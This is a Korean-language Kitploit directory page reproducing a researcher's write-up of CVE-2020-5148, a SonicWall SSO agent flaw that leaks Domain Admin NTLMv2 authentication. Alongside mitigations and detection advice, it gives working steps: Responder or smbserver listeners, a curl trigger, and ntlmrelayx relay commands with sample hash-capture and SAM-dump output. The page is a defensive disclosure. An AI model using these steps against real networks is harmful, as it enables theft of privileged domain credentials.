Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-5148 — CVE-2020-5148 - SonicWall UTM SSO 에이전트의 강제 인증. 에이전트는 검증되지 않은 워크스테이션을 Domain Admin으로 탐색하여, 단 한 번의 아웃바운드 웹 요청으로 권한 있는 NTLMv2 해시를 획득합니다. 권고 SNWLID-2021-0003. | Kitploit
도구/GitHubGitHub/l0lsec/cve-2020-5148
Password AttacksVulnerability AnalysisExploitationInformation GatheringWeb SecurityNetwork SecurityPenetration TestingAuthenticationRed Teaming
GitHubl0lsec/cve-2020-5148

CVE-2020-5148

CVE-2020-5148 - SonicWall UTM SSO 에이전트의 강제 인증. 에이전트는 검증되지 않은 워크스테이션을 Domain Admin으로 탐색하여, 단 한 번의 아웃바운드 웹 요청으로 권한 있는 NTLMv2 해시를 획득합니다. 권고 SNWLID-2021-0003.

27일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기웹사이트

CVE-2020-5148

SonicWall UTM SSO 에이전트의 강제 인증(Forced Authentication)

SonicWall SSO 에이전트는 NetAPI(기본값) 또는 WMI로 해당 워크스테이션을 프로빙하여 주어진 IP 주소 뒤에 있는 사용자를 식별합니다. 이 에이전트는 NTLM 인증을 시작하기 전에 워크스테이션을 검증하지 않으며, 세션이 유지되는 동안 동일한 주소를 계속 폴링합니다.

SSO 에이전트 서비스는 프로빙하는 모든 워크스테이션과 서버에 대한 관리 권한을 요구하므로, 실제 배포에서는 도메인 관리자(Domain Admin) 권한으로 실행됩니다. 따라서 UTM 어플라이언스를 통해 웹 트래픽을 라우팅할 수 있는 인증되지 않은 모든 사용자는 도메인 관리자 계정이 자신이 선택한 호스트에 인증하도록 만들 수 있으며, 해당 인증을 캡처하거나 릴레이할 수 있습니다.

CVE-2020-5148로 게시되었으며, 공급업체 권고는 SNWLID-2021-0003입니다.

Show Up Show Out Security의 Sedric Louissaint가 발견하고 보고했습니다.


요약

CVECVE-2020-5148
제품SonicWall UTM 어플라이언스 및 SSO 에이전트 / Directory Services Connector
영향SSO 에이전트 4.1.10.0, Directory Services Connector 4.1.17 및 이전 버전
수정 버전NVD는 Directory Services Connector 4.1.19에서 수정된 것으로 기록함 (아래 참고 사항 확인)
취약점CWE-287: 부적절한 인증(Improper Authentication)
CVSS 3.1 (NVD)8.2 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CVSS (연구자)8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
게시일2021-03-05
테스트 환경Microsoft Windows Server 2012 R2 Standard
필요한 인증없음
공급업체 권고https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003

NVD 설명:

SonicWall SSO 에이전트의 기본 구성은 NetAPI를 사용하여 네트워크의 관련 IP를 프로빙합니다. 이 클라이언트 프로빙 방식은 잠재적 공격자가 비밀번호 해시를 캡처할 수 있게 합니다.

기술적 세부 사항

의도된 흐름과 누락된 두 단계

  1. 사용자의 트래픽이 SonicWALL UTM 어플라이언스에 도달합니다.
  2. 어플라이언스는 사용자의 IP를 "User Name Request"로 SSO 에이전트에 보냅니다. 차단된 패킷은 보류됩니다.
  3. SSO 에이전트는 해당 워크스테이션에 로그인된 사용자 이름으로 응답합니다.
  4. LDAP 또는 로컬 데이터베이스가 그룹 구성원 자격을 확인합니다.
  5. 정책이 적용되고 보류된 트래픽이 해제됩니다.
  6. 어플라이언스는 동일한 사용자가 여전히 로그인되어 있는지 확인하기 위해 SSO 에이전트를 계속 폴링합니다.

문서화되지 않은 두 단계가 주석으로 표시된 SonicWALL SSO 흐름

주석은 공급업체 다이어그램에서 누락된 부분을 표시합니다:

  • 2.5단계 SSO 에이전트는 워크스테이션을 쿼리하기 전에 먼저 해당 워크스테이션에 인증해야 합니다. 이는 트래픽을 생성한 사람이 제공한 주소로의 아웃바운드 NTLM 핸드셰이크이며, 해당 주소에 대한 사전 검증이 없습니다.
  • 5.5단계 에이전트는 세션이 유지되는 동안 모든 폴링에서 해당 인증을 반복합니다. 폴링 간격은 GUI에서 구성할 수 있습니다.

권한 컨텍스트

SSO 에이전트 서비스는 쿼리를 수행하려면 모든 관련 워크스테이션과 서버에 대한 관리자 권한이 필요합니다. 실질적으로 모든 배포에서 서비스 계정은 도메인 관리자입니다.

따라서 검증되지 않은 호스트에 전달되는 자격 증명은 디렉터리에서 가장 높은 권한을 가진 계정입니다.

버전 4.1.10.0을 보여주는 SSOAgentService.exe 파일 속성

트리거 방법

이용 코드(exploit)는 없습니다. 어플라이언스가 처리하는 세그먼트에서 나가는 모든 웹 요청이면 충분합니다:

root@kitploit:~
curl sonicwall.com

네트워크 경계를 넘는 단일 curl 명령

URL은 중요하지 않으며 요청이 성공할 필요도 없습니다. 어플라이언스는 인식되지 않은 IP의 트래픽을 관찰하고 SSO 에이전트에게 해당 사용자를 식별하도록 요청하며, 에이전트는 해당 IP에 인증합니다.

자격 증명 캡처

Responder 또는 smbserver.py가 수신 대기 중이면 에이전트의 NTLMv2 인증이 요청 없이 도착하며, 폴링 동작으로 인해 계속 도착합니다:

root@kitploit:~
[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

SSO 에이전트에서 캡처된 NTLMv2 해시

릴레이

크래킹은 선택 사항입니다. SMB 서명이 적용되지 않는 환경에서는 인증을 다른 호스트로 실시간 릴레이할 수 있으며, 해당 호스트는 이 연결을 겉으로 보이는 권한 있는 계정으로 취급합니다:

root@kitploit:~
ntlmrelayx.py -t <target> -smb2support -of <output>
root@kitploit:~
[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

ntlmrelayx가 인증을 릴레이하고 SAM 해시를 덤프하는 모습

이 인증은 인증되지 않은 웹 요청에 의해 트리거되고 완전히 다른 머신에서 소비되며, 이것이 권고에서 설명된 전체 ACL 우회입니다.

재현

소유했거나 테스트 승인을 받은 랩에서, SSO용으로 구성된 UTM 어플라이언스와 기본 NetAPI 클라이언트 프로빙 방식을 사용하는 SSO 에이전트가 있다면:

  1. 어플라이언스가 처리하는 세그먼트 내의 호스트에서 리스너를 시작합니다:
    root@kitploit:~
    sudo responder -I <interface>
    # 또는
    sudo smbserver.py c . -smb2support
    
  2. 동일한 호스트에서 어플라이언스를 통해 나가는 웹 트래픽을 생성합니다:
    root@kitploit:~
    curl sonicwall.com
    
  3. 취약한 구성에서는 수 초 내에 SSO 에이전트 서비스 계정으로부터 인바운드 NTLMv2 인증이 도착합니다. 기다리면 폴링 때문에 반복됩니다.
  4. 선택적으로 캡처 대신 SMB 서명이 비활성화된 호스트를 대상으로 릴레이합니다:
    root@kitploit:~
    ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
    

전체 명령 시퀀스는 poc/repro.sh에 있습니다.

저장소 내용

root@kitploit:~
poc/
  repro.sh       리스너, 트리거 및 릴레이 명령, 주석 처리됨, 먼저 읽어도 안전함
  notes.md       NetAPI가 이를 트리거하는 이유, WMI가 변경하는 점, 탐지 지침
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

캡처에 포함된 사용자 이름, 해시 및 내부 주소는 편집되었거나 원래 랩에서 가져온 것입니다.

완화 방법

  1. 클라이언트 프로빙을 NetAPI에서 WMI로 전환합니다. 이는 공급업체가 문서화한 해결 방법이며 가장 빠르게 의미 있는 변경입니다.
  2. SSO 에이전트를 어디에나 로그인할 수 있는 계정으로 실행하지 마십시오. administrator가 SSO 에이전트 서비스, 도메인 컨트롤러, Exchange 서버 또는 터미널 서버를 통해 로그인하는 것을 허용하지 마십시오. 계정을 권한 있는 상태로 유지해야 한다면 오프라인 크래킹이 현실적으로 불가능할 만큼 긴 비밀번호(20자 이상)를 사용하고 절대 재사용하지 마십시오.
  3. Directory Services Connector를 업그레이드합니다. NVD는 4.1.19에서 수정된 것으로 기록합니다. 단, 연구자의 테스트에서 4.1.19 이상도 기본 프로빙 동작을 그대로 보였으며 이를 제거하는 대신 경고만 표시했습니다. 경고는 통제 수단이 아니므로 WMI 전환과 계정 강화를 실제 완화 조치로 간주하십시오.
  4. 인프라 전반에 SMB 서명을 적용합니다. 이는 자격 증명 캡처를 막지는 못하지만 릴레이 옵션을 제거합니다.
  5. 지원되는 서비스에는 인증 확장 보호(Extended Protection for Authentication) 를 고려하고, 경계에서 아웃바운드 SMB를 제한합니다.
  6. 탐지합니다. SSO 에이전트 서비스 계정이 관리되는 워크스테이션이 아닌 호스트에 인증을 시도하는 것은 높은 신호의 이벤트입니다. 또한 해당 계정이 인벤토리에 한 번도 나타난 적이 없는 주소에 인증하는 것도 마찬가지입니다.

타임라인

날짜이벤트
2020발견 및 SonicWall에 보고
2021-03-05CVE-2020-5148 게시, 권고 SNWLID-2021-0003

관련 글

  • 개인 계정: https://sedriclouissaint.com/blog/sonicwall-utm-sso-forced-authentication-cve-2020-5148/
  • Show Up Show Out Security: https://susos.co/blog/authforce-sonicwall-utm-sso-forced-authentication-cve-2020-5148

고지 사항

공급업체 공개 이후 방어 및 교육 목적으로 게시되었습니다. 여기에는 이용 코드가 없습니다. 필요한 것이 없기 때문이며, 이것이 이 발견의 핵심입니다. 소유하지 않았거나 서면 테스트 승인을 받지 않은 네트워크에서 이러한 명령을 실행하지 마십시오.

도구 다운로드